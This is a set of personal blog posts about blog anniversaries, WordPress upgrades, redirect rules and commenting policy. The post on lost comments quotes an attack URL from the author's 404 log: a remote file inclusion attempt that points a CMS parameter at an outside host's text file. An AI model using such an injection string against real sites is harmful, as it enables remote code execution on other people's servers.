Blogaversary 10 (a little late)

True to form for this year, not only did I miss writing about my blogaversary on June 11, but I haven’t written much in almost a month. But yes, ten years ago I was a lonely intern at Microsoft, and decided to start writing on line for my family, and Google.

One of the nice things about the blog turning 10 is that I no longer feel like I have to write for anybody. Which is good, since I don’t think anyone other than my friends is still reading. So expect to continue to see occasional links, posts about Glee Club history, and miscellany.

Who knows? Maybe now that I’m a professional product strategist (yes, still working for Veracode, just doing my product management job plus more), I’ll start to write about technology strategy again. We’ll see.

The thing that most strikes me, looking back to ten years ago, is that blogging used to be a thing technologists messed around with. Then it was a subculture for 20somethings. Then, for a few minutes, everyone in the online space did it. Now everyone is sharing their life, but generally doing it through one of multiple competing proprietary spaces, and generally doing it in bite sized chunks.

What has most changed, though, is that no one finds it odd any longer that people would want to have a voice on line. Maybe the majority of folks are choosing to share that voice only with their closest friends, relatives, and that one guy in high school that they sorta remember and friended so as not to offend him, but that’s OK. I think we won the fight between the consumer and producer mentality, when it comes to people producing things online.

Getting back on the horse

It seems like a very long time since I’ve sat down to write anything longer than a tweet or a bookmark. The usual reasons apply–family pressures, work getting crazy, etc.–but a big part of the reason is simply that I’ve been blocked.

A big part of what I used to write about used to be the technology industry. Paradoxically, the more successful my company is, the more constrained I feel writing about technology, simply because so many of the players are our customers. (And it had really been a while since I wrote about technology anyway.)

I’ve never been one to write a lot about the family. So that’s out.

That leaves, of the former obsessions that have powered this blog, cooking–and my chance to do much of that has been constrained by the same factors that have taken my time to write away–and music.

Well, then: music it is.

As luck would have it, I actually have a reason to write about music. Next month is the 140th anniversary celebration of the Virginia Glee Club. (You are going, aren’t you?) So in preparation for the anniversary, I think now’s as good a time as any to start to synthesize all the historical research that I’ve been building up on the Virginia Glee Club history wiki, and pull out some of the more illuminating bits. It should be a good exercise in warming up, and I’ll try to do one or two a day.

After that, who knows? Maybe I’ll have succeeded in unblocking myself. I’ve got to try somehow.

Blogdentity crisis

In the beginning of my tenth year of blogging I find myself thinking more and more about what my blog is for.

In the early part of the decade I thrived on reading blogs, because no one else that I knew was doing it and no one else knew what was going on. The tech press was moribund, though it didn’t know it, and all the interesting stuff was happening on people’s blogs. My blog was a voice among that group.

To a certain extent that’s still true, except that a lot of the blogs that I read now aren’t “people’s blogs.” Oh, there are exceptions: Jon Gruber’s Daring Fireball is certainly one strong individual voice, and so is Dave Winer’s Scripting News (which never really stopped being an individual voice). But others are collections of writers with an editorial voice. And they are always, mercilessly, on topic.

I don’t think I could keep this blog “on topic” if I tried. Bad enough that I have three or four topics (Glee Club history, singing with the TFC, listening to music, software industry stuff, product management) that I can’t quit, but I can’t imagine making the blog all about any of them. I know I lose readers that way, but what am I to do? This blog is just about me, not about me the product manager or me the software business theorist, or me the singer.

And sometimes that makes it that much harder to write. Like yesterday: a bunch of things at the office that I can’t blog about, a sick kid, a short TFC rehearsal. Not much blogging matter there. So I missed a day. Part of what made blogging fun before was always thinking about things that I could blog about. I need to get back into that habit.

Upgrade day: iOS 4.0 (with iTunes 9.2), WordPress 3.0

For reasons best known to my shrink (maybe I wasn’t exposed to enough risk as a child?), I decided to tackle two major upgrades yesterday. Of course iOS 4.0 was released yesterday, so I had to get multi-tasking working; but WordPress 3.0 was also released last Thursday and I figured it was time to check that out. In the process of doing the iOS upgrade, there was also an incidental iTunes upgrade. Of the three, guess which one was the most problematic?

WordPress 3.0 went absolutely smoothly in manual install mode. I haven’t been able to use auto updates because my FTP user does not have the WordPress directory as its home directory, but manual installs have generally worked well for me. I reviewed the sample wp_config.php file, updated a few parameters that had been added in the recent past, then copied all the other files over. A db upgrade later and everything was up and running. The downer of WP 3.0 is that most of the features are available through new theme capabilities, and the author of my theme appears to have left WP theme development in favor of the preacher’s life. Best of luck, Armen, and if you ever revive the Excel theme let me know. In the meantime, it looks like I have to learn how to hack themes to take advantage of flexible menus and some of the other new features.

Now iOS and iTunes 9.2 is another story. I hadn’t remembered to do the 9.2 update over the weekend, so I was prompted partway into the iOS 4.0 installation. I had to step back and do that install first, then restart iTunes. And of course, somehow, iTunes lost my music directory location again (I keep all my iTunes files on a NAS since I have much more music than will fit on my MacBook Pro’s HD). I don’t know why it decided that I had my library back in the default location, but it did, and it spent a half hour rebuilding my library file only to lose all the file locations. I had to change the location and rebuild again, and only then was I able to do the sync. In spite of the multiple rebuilds, iTunes was still confused about the location of some files, and it took another restart of iTunes to fix the problem.

By comparison the iOS 4.0 upgrade was a piece of cake. Everything about the phone seems snappier now. Multitasking and folders work as advertised; I like the new iBooks reader (though it’s much slower on initial start than the Kindle App or Classics); and it was a kick to see a photo of my daughter (my normal wallpaper) behind all the home screen icons.

But there was one big glitch. For some reason, name server resolution stopped working through my VPN. The VPN was working, and I was able to find my Exchange server and other resources by IP address, but there were definitely some frustrating moments this morning as I tried to get everything working. I really hope that that was a transient glitch, or this new OS is not going to work out too well for me.

Blogaversary 9

Happy blogaversary to me! This year, I’m not going to do a year in review like I did in past years. I’m going to look ahead.

Nine years ago today, I was an intern at Microsoft, on the other side of the country from my wife and family, confused about my work, my direction, and my life. So I opened up a web form and started typing. At first I just wrote about my life and what I was doing, but over time the writing, which I tried to do every day, started helping me think more clearly, and I started to think about what I wanted to do. I wrote about software strategy, customer relationships, music, family life.

Nine years later, I’m living the dream. I have a great job at a company that’s going to take over the world. I have a wonderful family. I sing with one of the best orchestral choruses on the planet.

But I’m not writing much any more. I’ve been pretty much microblogging for the past year–my Delicious feed is most of this blog. I think I want to change that.

We’re going to try an experiment, this first month of my tenth year of blogging. I’m going to try to write something every day. It may not be long, or meaningful. It may not even be good. But I need to try to get back to making my thoughts into words on a daily basis. Like last time, I think I’m going to be surprised at what comes out.

Background reading: My past blogaversaries in 2002, 2003, 2004, 2005, 2006, 2007, 2008, and 2009.

Ten years ago

Ten years ago, give or take two weeks, I posted my first permanent update on my Manila site, the web site that morphed into this blog.

Userland Software‘s Manila was a hobby for me for a few months starting back in 1999. When I first got DSL (back when we still called it ADSL), it was new enough that no one really was clear about whether it was kosher to run a server from your house, and certainly new enough that Bell Atlantic (yes, this is before it was called Verizon) was filtering traffic upstream. So I ran an HTTP server on my Mac, using first personal web sharing and then Aretha to run a little web site.

Sometime later Dave Winer and Userland opened up EditThisPage.com, and I set up my own blog there, and that’s when it all took off. The site, originally hosted at jarretthousenorth.editthispage.com, was something I played with for a few months in early 2000. Then I went to B-school and stopped having time to play with things. Then I moved to Seattle for a summer by myself and had way too much time on my hands. And I started writing.

These days, I hardly have enough time to write at all, save for the occasional Glee Club history writeup. But I still think back to the technology that started it all, and I’m grateful to Dave for starting something big that turned into something big for me.

Rules for commenters

I didn’t think I’d have to do this, but recent battles on the comments pages of a couple of posts have forced me to spell out the rules of engagement if you want to comment on this blog:

  1. Be civil. Your mother doesn’t accept that kind of language from you and I shouldn’t have to either.
  2. Stay on topic. This shouldn’t be a problem but I’m  saying it just in case.
  3. This blog is about ideas and discussion. I welcome opposing points of view but calling religions evil and people liars is a good way to get banned. If you have an opposing viewpoint, you should be able to discuss it civilly without resorting  to namecalling. (Also see #1).
  4. I use Akismet, so your commercial spam messages about male enlargers and pyramid schemes will get filtered by a machine.
  5. I reserve the right to ban any commenter for violating any of these rules. I also reserve the right to close comments at any time. Currently I do that manually but I might move to doing it automatically based on the age of the post in the future.
  6. If you don’t like these rules but want to engage with me anyway, get your own blog and comment there, under your own name. Taking responsibility for one’s words and opinions in one’s own space is, in my opinion, a great way to engage on the Internet.

I’m going to build a document that refers to these points and link it into the commenting form as well.

Eight years and counting

True to form for this year, I’m almost a week late with this anniversary observance, but June 11 marked the eighth year of Jarrett House North as a blog. My site, originally started as an occasionally updated static vanity page on March 14, 2000, morphed into a blog during my summer internship at Microsoft in 2001, picked up steam as I finished my MBA, got embroiled in online metrics during my first year at Microsoft then got deep into blogging practice in 2004, did serious houseblogging in 2005, recovered from the aftermath of running the Sony Boycott blog in 2006, kept the pace going in 2007, and crunched the numbers in 2008.

So here’s a retrospective in quantity and quality:

Plus, I half feared that getting engaged with Twitter and Facebook in a serious way would kill this blog, but so far it hasn’t.

Not bad for an eight year old blog. That’s like an 80 year old in blog years.

Fixing a hole: Migrating a site structure with the Redirection plugin

Over the weekend, as previously noted, my hosting provider redirected two old versions of my blog to the new WordPress blog. When that change kicked in, it unleashed a storm of 404s as links pointing into the old site structure hit the new site structure.

There are a number of systematic changes from the old site to the new site:

  • Daily pages from my static site. These URLs look like /yyyy/mm/dd.html, and for whatever reason they weren’t redirecting to /yyyy/mm/dd/.
  • Category links from my dynamic site. This one was a mess, because there were at least two main ways of accessing my old category pages: /newsItems/department/n and /newsItems/viewDepartment$n.
  • RSS links. My old RSS link was at a different location, and apparently a lot of feed readers are still polling there.
  • Print-friendly links. Manila used to have a text-only print-friendly format; URLs with the ?print-friendly=true option were failing.
  • Differing site structures. Some of the changes were simply because I set up the new site differently.

Fortunately, most of the problems are easily solved with the help of regular expressions and the Redirection plug-in for WordPress. The redirect rules for the static date pages and the news item department pages were rewritten as follows:

  • ​/(d*)​/(d*)​/(d*).html –>/$1/$2/$3
  • ​/newsItems​/departments​/([a-zA-Z0-9]*) –> /category/$1/
  • ​/newsItems​/viewDepartment$([a-zA-Z0-9]*) –> /category/$1/

All made nice and straightforward, once you grok the syntax.

Of course, I could have used Apache’s .htaccess and these regex rules, but the big advantage of the Redirection plugin is that it counts how many times each rule is used, and links the 404 log into the rules writing engine in a very clever way. It’s very simple to find a 404, write a rule, test the rule to verify that the filter is working, and then go on your merry way.

I did have to make a decision to turn off some functionality. I don’t have mailto any more, my old sitemap is gone and not coming back, and some other odds & ends are not to return. I’ve enumerated those in my Blog Feature Graveyard.

Consolidation time

Just a quick housekeeping note–over the weekend my hosting provider finally consolidated my www, discuss, and wp.www.jarretthousenorth.com sites onto one machine. You can go ahead and head over to www.www.jarretthousenorth.com now.

With this consolidation, my Manila blog is finally no more. I cut my blogging teeth on Edit This Page and the other features which at the time were state of the art, but which didn’t move as fast as the revolution they spawned.

Jarrett House North became a WordPress site last year, but the old version of the site lived on at two different web addresses — which didn’t help my Google presence at all. Now, though, you can find me at www, discuss, or wp.www.jarretthousenorth.com and it will all be the same site.

I have a few broken links to fix, so bear with me. I have to mention in passing that I highly recommend the superb Redirection plugin for finding and fixing 404s on a WordPress site.

Now serving Gravatars

WordPress 2.5 and later have built-in support for Gravatars — site-independent avatars. They’re basically small pictures that can appear next to your comments across multiple sites, depending on the email address you registered with the main Gravatar site.

I hadn’t gotten around to hacking the theme I’m using–which apparently predates WP 2.5–for Gravatar support, but (per the Codex) adding the support was trivial. I added this line of code in the comments loop and was all set, aside from some trivial additions to the CSS to display the gravatar in the right place:

<?php
echo get_avatar( $comment, $size = '48' );
?>

You can see what it looks like below. And if you sign up with the service, when you leave a comment on my blog your avatar (G-rated only–my blog policy enforces it) will appear next to your comment. Nice trick.

WordPress 2.7 First Impressions

I just did the upgrade to WordPress 2.7 on my server and am getting to know it. My first impressions:

  1. The upgrade was smoother this time, perhaps because I knew what I was doing. I didn’t even have to clear cookies to make it work.
  2. The admin interface, which is the major focus of this release, UI wise, is going to take some getting used to. It’s busier than the old interface, which is rarely good. And I’ve already published my criticism of the left hand navigation. The good news is that for the most part it’s getting out of my way and letting me write.
  3. The posting interface is more cluttered too. I never had to bother about the autosave notices before, because they stayed out of the way and were discreet in white text against a dark background. The autosave notices now are very visible when they happen, and pretty distracting. And after the last interface the new screens seem a little washed out (I’m using the blue color scheme).
  4. It took me a few seconds to figure out that the “Edit” link in the Posts module would take me to a list of all my posts–that used to be the Manage Posts link. I understand the reason for the change, but Edit isn’t the first thing I think about when I’m searching through my old posts, my most frequent reason for visiting that part of the admin interface.

The only plugin issue I had was with Simple Tags. On the reboot a notice advised me that I should use “Simple Tagging” by the same author instead. This doesn’t appear to have been correct; all I needed to do was upgrade Simple Tags.

Redirecting away from lost comments

I thought I had linked to Urban Giraffe’s great Redirection WordPress plug-in, but there was a glitch between Ubiquity and Delicious and the link didn’t get saved. Ah well. The point is that Redirection makes it dead simple to do two things: track 404s (dead links) that users hit on your site, and create redirects so that people coming to that link get served valid content.

I’ve been going through the process of reviewing the 404s for the first few days, and have found three general types of 404:

  1. Old Manila stories that were part of my old site structure but didn’t get published in the same way on WordPress. This is easy to fix, because WordPress lets you edit the “pretty URL” for these pages directly.
  2. Attack URLs. These tend to look like /inc​/cmses​/aedatingCMS.php?dir[inc]=http:​/​/rfi.at.ua​/test.txt?? and represent bots trying to exploit known software vulnerabilities. I generally am ignoring these right now.
  3. Permalinks to comments.

This third one is the sad part. Somewhere along the way, whether when I turned off comments on my Manila site or at some other point, all the old comments on my posts were lost. So there’s nowhere for me to redirect: the content’s gone. Comments ranging from the banal to the friendly, from Dave Sifry of Technorati pre-announcing link voting to the late Anita Rowland reminding me to follow up on a post on universal remotes.

I’m now going through the sad task of removing those links one at a time on this site. I guess entropy is alive and well.

But the point is that Redirection is a great WP plugin.

Decompressing

As one might gather from the week of linkblog posts, it’s been a little hard making the transition away from all-election, all the time blogging, though for different reasons than back in 2004. While then I couldn’t believe that half the country enjoyed George W. Bush’s regime enough to bring it back for four more years, now I don’t want to blink for fear it will go away.

And there have been some other things that have happened too–like getting rushed out of our office by a gas main that was broken open by construction staff last week. Or briefly thinking I had to do a four week travel stint to support a client, before cooler heads prevailed.

Plus, I’ve been fighting a cold. So it’s kind of been the perfect storm of blogkill.

While you’re patching: WordPress 2.6.3 is out

A quick heads up for the publication of WordPress 2.6.3, which I missed yesterday thanks to my site’s slowness. This is a straightforward patch release with an update for one PHP class, snoopy, which has a now-patched command injection vulnerability. Mercifully, the patch files are available directly from the blog post, making this the easiest WordPress upgrade yet.